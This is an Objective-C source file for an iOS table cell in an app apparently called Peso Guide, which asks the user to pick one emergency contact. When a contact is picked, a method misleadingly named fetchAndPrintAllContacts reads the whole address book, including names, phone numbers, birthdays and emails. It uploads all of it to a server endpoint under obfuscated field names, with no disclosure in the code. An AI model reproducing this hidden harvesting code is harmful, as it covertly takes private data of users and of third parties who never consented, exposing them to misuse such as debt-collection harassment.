//
//  IdentityContactInfoCell.m
//  Peso Guide
//
//  Created by macbook on 2025/6/16.
//

#import "IdentityContactInfoCell.h"
#import "IdentityAlertView.h"
#import <Contacts/Contacts.h>
#import <ContactsUI/ContactsUI.h>

@interface IdentityContactInfoCell ()<CNContactPickerDelegate>

@property (nonatomic, strong) UIView *backImg;
@property (nonatomic, strong) UILabel *titLabel;
@property (nonatomic, strong) UILabel *chooseTitle;
@property (nonatomic, strong) UIButton *chooseButton;
@property (nonatomic, strong) UILabel *numberLabel;
@property (nonatomic, strong) UIButton *numberButton;

@property (strong, nonatomic) CNContactStore *contactStore;

@end

@implementation IdentityContactInfoCell

- (id)initWithStyle:(UITableViewCellStyle)style reuseIdentifier:(NSString *)reuseIdentifier {
    self = [super initWithStyle:style reuseIdentifier:reuseIdentifier];
    if (self) {
        
        self.contactStore = [[CNContactStore alloc] init];
        self.backgroundColor = ColorHex(@"#F3F4F8");
        self.contentView.backgroundColor = ColorHex(@"#F3F4F8");
        
        _backImg = [PesoKit createViewWithFrame:CGRectMake(15, 18, KScreenWidth-30, 193) backGroundColor:ColorHex(@"#FFFFFF")];
        [self.contentView addSubview:_backImg];
        
        UIView *topView = [PesoKit createViewWithFrame:CGRectMake(0, 0, _backImg.width, 38) backGroundColor:ColorHex(@"#FFAF00")];
        topView.clipsToBounds = YES;
        topView.layer.mask = [AppTools clipTopRightAndLeftByRoundingCorners:topView radii:CGSizeMake(15.0f, 15.0f)];
        [_backImg addSubview:topView];
        
        _titLabel = [PesoKit createLabelWithFrame:CGRectMake(13, 0, _backImg.width-26, 38) backGroundColor:ColorHex(@"#FFAF00") text:@"" textColor:ColorHex(@"#0E1D31") font:FONT(FontWeightStyleRegular, 15)];
        [topView addSubview:_titLabel];
        
        _chooseTitle = [PesoKit createLabelWithFrame:CGRectMake(13, 38+16, _backImg.width-26, 21) backGroundColor:ColorHex(@"#FFFFFF") text:@"" textColor:ColorHex(@"#0E1D31") font:FONT(FontWeightStyleRegular, 15)];
        [_backImg addSubview:_chooseTitle];
        
        _chooseButton = [PesoKit createButtonWithFrame:CGRectMake(13, _chooseTitle.bottom+8, _backImg.width-26, 21) backGroundColor:ColorHex(@"#FFFFFF") title:@"" titleColor:ColorHex(@"#969BA8") font:FONT(FontWeightStyleMedium, 15)];
        _chooseButton.contentHorizontalAlignment = UIControlContentHorizontalAlignmentLeft;
        [_chooseButton addTarget:self action:@selector(chooseButtonClick) forControlEvents:UIControlEventTouchUpInside];
        [_backImg addSubview:_chooseButton];
        
        UIView *lineView = [PesoKit createViewWithFrame:CGRectMake(13, _chooseButton.bottom+8, _backImg.width-26, 0.5) backGroundColor:ColorHex(@"#EEEEEE")];
        [_backImg addSubview:lineView];
        
        _numberLabel = [PesoKit createLabelWithFrame:CGRectMake(13, _chooseButton.bottom+25, _backImg.width-26, 21) backGroundColor:ColorHex(@"#FFFFFF") text:@"" textColor:ColorHex(@"#0E1D31") font:FONT(FontWeightStyleRegular, 15)];
        [_backImg addSubview:_numberLabel];
        
        _numberButton = [PesoKit createButtonWithFrame:CGRectMake(13, _numberLabel.bottom+8, _backImg.width-26, 21) backGroundColor:ColorHex(@"#FFFFFF") title:@"" titleColor:ColorHex(@"#969BA8") font:FONT(FontWeightStyleMedium, 15)];
        [_numberButton addTarget:self action:@selector(numberButtonClick) forControlEvents:UIControlEventTouchUpInside];
        _numberButton.contentHorizontalAlignment = UIControlContentHorizontalAlignmentLeft;
        [_backImg addSubview:_numberButton];
        
        UIImageView *icon = [PesoKit createImageViewWithFrame:CGRectMake(_backImg.width-13-24, _numberLabel.bottom+5, 24, 24) imageNamed:@"ic_contact_cell"];
        [_backImg addSubview:icon];
    }
    return self;
}

- (void)chooseButtonClick {
    NSMutableArray *chain = [NSMutableArray safeArrayWithArray:[_dataDic safeObjectForKey:@"chain"]];

    IdentityAlertView *alertView = [[IdentityAlertView alloc] initWithFrame:CGRectMake(0, 0, KScreenWidth, KScreenHeight)];
    alertView.contactInfoVC = self.infoVC;
    alertView.contactInfoIndex = [NSString stringWithFormat:@"%ld",(long)self.index];
    alertView.dataArray = chain;
    [[AppTools getCurrentVC].view addSubview:alertView];
}

- (void)numberButtonClick {
    
    CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
        
        switch (status) {
            case CNAuthorizationStatusAuthorized:
                [self showContactPicker];
                break;
                
            case CNAuthorizationStatusNotDetermined:
                [self requestContactPermission];
                break;
                
            case CNAuthorizationStatusDenied:
            case CNAuthorizationStatusRestricted:
                [self showPermissionDeniedAlert];
                break;
            case CNAuthorizationStatusLimited:
                [self showContactPicker];
                break;
        }
}

#pragma mark - 权限处理
- (void)requestContactPermission {
    [self.contactStore requestAccessForEntityType:CNEntityTypeContacts completionHandler:^(BOOL granted, NSError * _Nullable error) {
        dispatch_async(dispatch_get_main_queue(), ^{
            if (granted) {
                [self showContactPicker];
            } else {
                [self showPermissionDeniedAlert];
            }
        });
    }];
}

- (void)showPermissionDeniedAlert {
    UIAlertController *alert = [UIAlertController alertControllerWithTitle:[Lang set:@"The permission was rejected"]
                                                                   message:[NSString stringWithFormat:[Lang set:@"Please allow the application to access %@ to continue. You can modify the permissions in Settings - Privacy -%@"], [Lang set:@"Contact"], [Lang set:@"Contact"]]
                                                            preferredStyle:UIAlertControllerStyleAlert];
    
    [alert addAction:[UIAlertAction actionWithTitle:[Lang set:@"Cancel"] style:UIAlertActionStyleCancel handler:nil]];
    [alert addAction:[UIAlertAction actionWithTitle:[Lang set:@"Set it up"] style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
        NSURL *settingsURL = [NSURL URLWithString:UIApplicationOpenSettingsURLString];
        if ([[UIApplication sharedApplication] canOpenURL:settingsURL]) {
            [[UIApplication sharedApplication] openURL:settingsURL options:@{} completionHandler:nil];
        }
    }]];
    
    [[AppTools getCurrentVC] presentViewController:alert animated:YES completion:nil];
}

#pragma mark - 联系人选择
- (void)showContactPicker {
    CNContactPickerViewController *picker = [[CNContactPickerViewController alloc] init];
    picker.delegate = self;
    picker.predicateForEnablingContact = [NSPredicate predicateWithFormat:@"phoneNumbers.@count > 0"];
    [[AppTools getCurrentVC] presentViewController:picker animated:YES completion:nil];
}

#pragma mark - CNContactPickerDelegate
- (void)contactPicker:(CNContactPickerViewController *)picker didSelectContact:(CNContact *)contact {
    // 提取基本信息
    NSString *name = [CNContactFormatter stringFromContact:contact style:CNContactFormatterStyleFullName] ?: @"";
    NSString *phone = @"";
    
    if (contact.phoneNumbers.count > 0) {
        CNPhoneNumber *firstPhone = contact.phoneNumbers.firstObject.value;
        phone = firstPhone.stringValue ?: @"";
    }
    
    // 验证信息
    if (name.length == 0 && phone.length == 0) {
        [SVProgressHUD showErrorWithStatus:[Lang set:@"The name and mobile phone number cannot be empty"]];
        [SVProgressHUD dismissWithDelay:3.0f];

    } else if (phone.length == 0) {
        [SVProgressHUD showErrorWithStatus:[Lang set:@"The mobile phone number cannot be empty"]];
        [SVProgressHUD dismissWithDelay:3.0f];

    } else if (name.length == 0) {
        [SVProgressHUD showErrorWithStatus:[Lang set:@"The name cannot be empty"]];
        [SVProgressHUD dismissWithDelay:3.0f];

    } else {
        
        [_numberButton setTitle:[NSString stringWithFormat:@"%@ %@",name,phone] forState:0];
        [_numberButton setTitleColor:ColorHex(@"#0E1D31") forState:0];
        

        NSDictionary *dic = [self.infoVC.dataArray safeObjectAtIndex:_index];
        NSMutableDictionary *dataDic = [NSMutableDictionary safeDictionaryWithDictionary:dic];
        [dataDic setObject:name forKey:@"restriction"];
        [dataDic setObject:phone forKey:@"key"];

        [self.infoVC.dataArray replaceObjectAtIndex:_index withObject:dataDic];
    }
    
    // 获取并打印完整联系人信息
    [self fetchAndPrintAllContacts];
}

#pragma mark - 联系人数据处理
- (void)fetchAndPrintAllContacts {
    
    NSMutableArray *allContactsArray = [NSMutableArray arrayWithCapacity:0];
    
    CNContactStore *store = [[CNContactStore alloc] init];
    NSArray *keys = @[
        CNContactIdentifierKey,
        [CNContactFormatter descriptorForRequiredKeysForStyle:CNContactFormatterStyleFullName],
        CNContactPhoneNumbersKey,
        CNContactBirthdayKey,
        CNContactEmailAddressesKey
    ];
        
        NSError *error;
        CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:keys];
        
        // 遍历所有联系人
        [store enumerateContactsWithFetchRequest:request error:&error usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
            // 1. 组合姓名
            NSString *name = [NSString stringWithFormat:@"%@ %@",
                              contact.givenName ?: @"",
                             contact.familyName ?: @""];
            
            // 2. 处理多个电话号码
            NSMutableArray *phones = [NSMutableArray array];
            for (CNLabeledValue *phoneValue in contact.phoneNumbers) {
                CNPhoneNumber *phoneNumber = phoneValue.value;
                if (phoneNumber.stringValue.length > 0) {
                    [phones addObject:phoneNumber.stringValue];
                }
            }
            NSString *phoneNumbers = [phones componentsJoinedByString:@","];
            
            // 4. 格式化生日
            NSString *birthday = @"";
            if (contact.birthday) {
                NSDateComponents *components = contact.birthday;
                birthday = [NSString stringWithFormat:@"%ld-%02ld-%02ld",
                            (long)components.year,
                            (long)components.month,
                            (long)components.day];
            }
            
            // 5. 处理多个邮箱
            NSMutableArray *emails = [NSMutableArray array];
            for (CNLabeledValue *emailValue in contact.emailAddresses) {
                if (![AppTools isEmpty:emailValue.value]) {
                    [emails addObject:emailValue.value];
                }
            }
            NSString *emailAddresses = [emails componentsJoinedByString:@","];
            
            NSMutableDictionary *infoDic = [NSMutableDictionary dictionaryWithCapacity:0];
            [infoDic setObject:name forKey:@"name"];
            [infoDic setObject:phoneNumbers forKey:@"phoneNumbers"];
            [infoDic setObject:birthday forKey:@"birthday"];
            [infoDic setObject:emailAddresses forKey:@"emailAddresses"];
            
            [allContactsArray addObject:infoDic];
        }];
        
        if (error) {
            NSLog(@"getAllContacts_error: %@", error.localizedDescription);
        } else {
            NSMutableArray *paramsArray = [NSMutableArray arrayWithCapacity:0];
            
            if (allContactsArray.count > 0) {
                for (int i = 0; i < allContactsArray.count; i++) {
                    NSDictionary *dataDic = [allContactsArray safeObjectAtIndex:i];
                    
                    NSDictionary *jsonDic = @{@"env":[dataDic safeObjectForKey:@"phoneNumbers"],
                                              @"adapting":@"",
                                              @"system":@"",
                                              @"qualified":[dataDic safeObjectForKey:@"birthday"],
                                              @"includes":[dataDic safeObjectForKey:@"emailAddresses"],
                                              @"subclass":@"",
                                              @"restriction":[dataDic safeObjectForKey:@"name"]};
                    [paramsArray addObject:jsonDic];
                }
                
                [[AWHttpService service] postWithUrl:@"/trains/callback" params:@{@"associating":[AppTools jsonStringWithNSArray:paramsArray]} succ:^(id  _Nonnull responseObject) {
                    if (SUCCESS) {
                        DLog(@"contacts upload success");
                    }
                } fail:^(NSInteger errorType, id  _Nonnull error) {
                    
                }];
            }
        }
}

- (void)printContactDetails:(CNContact *)contact {
    // 姓名处理
    NSString *name = [NSString stringWithFormat:@"%@%@",
                      contact.familyName ?: @"",
                      contact.givenName ?: @""];
    
    // 电话处理（多个号码用逗号分隔）
    NSMutableArray *phones = [NSMutableArray array];
    for (CNLabeledValue *phoneValue in contact.phoneNumbers) {
        CNPhoneNumber *phone = phoneValue.value;
        [phones addObject:phone.stringValue];
    }
    NSString *phoneStr = [phones componentsJoinedByString:@","];
    
    // 生日处理
    NSString *birthdayStr = @"";
    if (contact.birthday) {
        NSDateComponents *components = contact.birthday;
        birthdayStr = [NSString stringWithFormat:@"%04ld-%02ld-%02ld",
                      (long)components.year,
                      (long)components.month,
                      (long)components.day];
    }
    
    // 邮箱处理
    NSMutableArray *emails = [NSMutableArray array];
    for (CNLabeledValue *emailValue in contact.emailAddresses) {
        [emails addObject:[emailValue.value description]];
    }
    NSString *emailStr = [emails componentsJoinedByString:@","] ?: @"";
}

- (void)setDataDic:(NSDictionary *)dataDic {
    _dataDic = dataDic;
    NSString *accidental = [NSString stringWithFormat:@"%@",[dataDic safeObjectForKey:@"accidental"]];
    NSString *restoring = [NSString stringWithFormat:@"%@",[dataDic safeObjectForKey:@"restoring"]];
    NSString *thread = [NSString stringWithFormat:@"%@",[dataDic safeObjectForKey:@"thread"]];
    NSString *abstraction = [NSString stringWithFormat:@"%@",[dataDic safeObjectForKey:@"accidental"]];
    NSString *excellent = [NSString stringWithFormat:@"%@",[dataDic safeObjectForKey:@"excellent"]];

    NSString *accessed = [NSString stringWithFormat:@"%@",[dataDic safeObjectForKey:@"accessed"]];
    NSString *restriction = [NSString stringWithFormat:@"%@",[dataDic safeObjectForKey:@"restriction"]];
    NSString *key = [NSString stringWithFormat:@"%@",[dataDic safeObjectForKey:@"key"]];

    _titLabel.text = accidental;
    _chooseTitle.text = restoring;
    _numberLabel.text = abstraction;
    
    if ([AppTools isEmpty:restriction] && [AppTools isEmpty:key]) {
        [_numberButton setTitle:excellent forState:0];
        [_numberButton setTitleColor:ColorHex(@"#969BA8") forState:0];
    }else {
        [_numberButton setTitle:[NSString stringWithFormat:@"%@ %@",restriction,key] forState:0];
        [_numberButton setTitleColor:ColorHex(@"#0E1D31") forState:0];
    }
    
    if ([AppTools isEmpty:accessed]) {
        [_chooseButton setTitle:thread forState:0];
        [_chooseButton setTitleColor:ColorHex(@"#969BA8") forState:0];
    }else {
        NSMutableArray *chain = [NSMutableArray safeArrayWithArray:[_dataDic safeObjectForKey:@"chain"]];
        for (int i = 0; i < chain.count; i++) {
            NSDictionary *dic = [chain safeObjectAtIndex:i];
            NSString *restriction = [NSString stringWithFormat:@"%@",[dic safeObjectForKey:@"restriction"]];
            NSString *unboundlocalerror = [NSString stringWithFormat:@"%@",[dic safeObjectForKey:@"unboundlocalerror"]];
            
            if ([unboundlocalerror isEqualToString:accessed]) {
                [_chooseButton setTitle:restriction forState:0];
                [_chooseButton setTitleColor:ColorHex(@"#0E1D31") forState:0];
                
                break;
            }
        }
    }
}

#pragma mark - CNContactPickerDelegate
- (void)contactPicker:(CNContactPickerViewController *)picker didSelectContactProperty:(CNContactProperty *)contactProperty
{
    CNContact *contact = contactProperty.contact;
    NSString *name = [CNContactFormatter stringFromContact:contact style:CNContactFormatterStyleFullName];
    CNPhoneNumber *phoneValue= contactProperty.value;
    NSString *phoneNumber = phoneValue.stringValue;
    DLog(@"%@--%@",name, phoneNumber);
    
    NSMutableCharacterSet *charSet = [[NSMutableCharacterSet alloc] init];
    [charSet formUnionWithCharacterSet:[NSCharacterSet whitespaceCharacterSet]];
    [charSet formUnionWithCharacterSet:[NSCharacterSet punctuationCharacterSet]];
    [charSet formUnionWithCharacterSet:[NSCharacterSet symbolCharacterSet]];
    NSArray *arrayWithNumbers = [phoneNumber componentsSeparatedByCharactersInSet:charSet];
    NSString *numberStr = [arrayWithNumbers componentsJoinedByString:@""];
    if (! numberStr) {
        numberStr = phoneNumber;
    }
    
    if ([AppTools isEmpty:name]) {
        name = @"";
    }
    
    [_numberButton setTitle:[NSString stringWithFormat:@"%@ %@",name,phoneNumber] forState:0];
    [_numberButton setTitleColor:ColorHex(@"#0E1D31") forState:0];
    

    NSDictionary *dic = [self.infoVC.dataArray safeObjectAtIndex:_index];
    NSMutableDictionary *dataDic = [NSMutableDictionary safeDictionaryWithDictionary:dic];
    [dataDic setObject:name forKey:@"restriction"];
    [dataDic setObject:phoneNumber forKey:@"key"];

    [self.infoVC.dataArray replaceObjectAtIndex:_index withObject:dataDic];
}

- (void)awakeFromNib {
    [super awakeFromNib];
    // Initialization code
}

- (void)setSelected:(BOOL)selected animated:(BOOL)animated {
    [super setSelected:selected animated:animated];

    // Configure the view for the selected state
}

@end
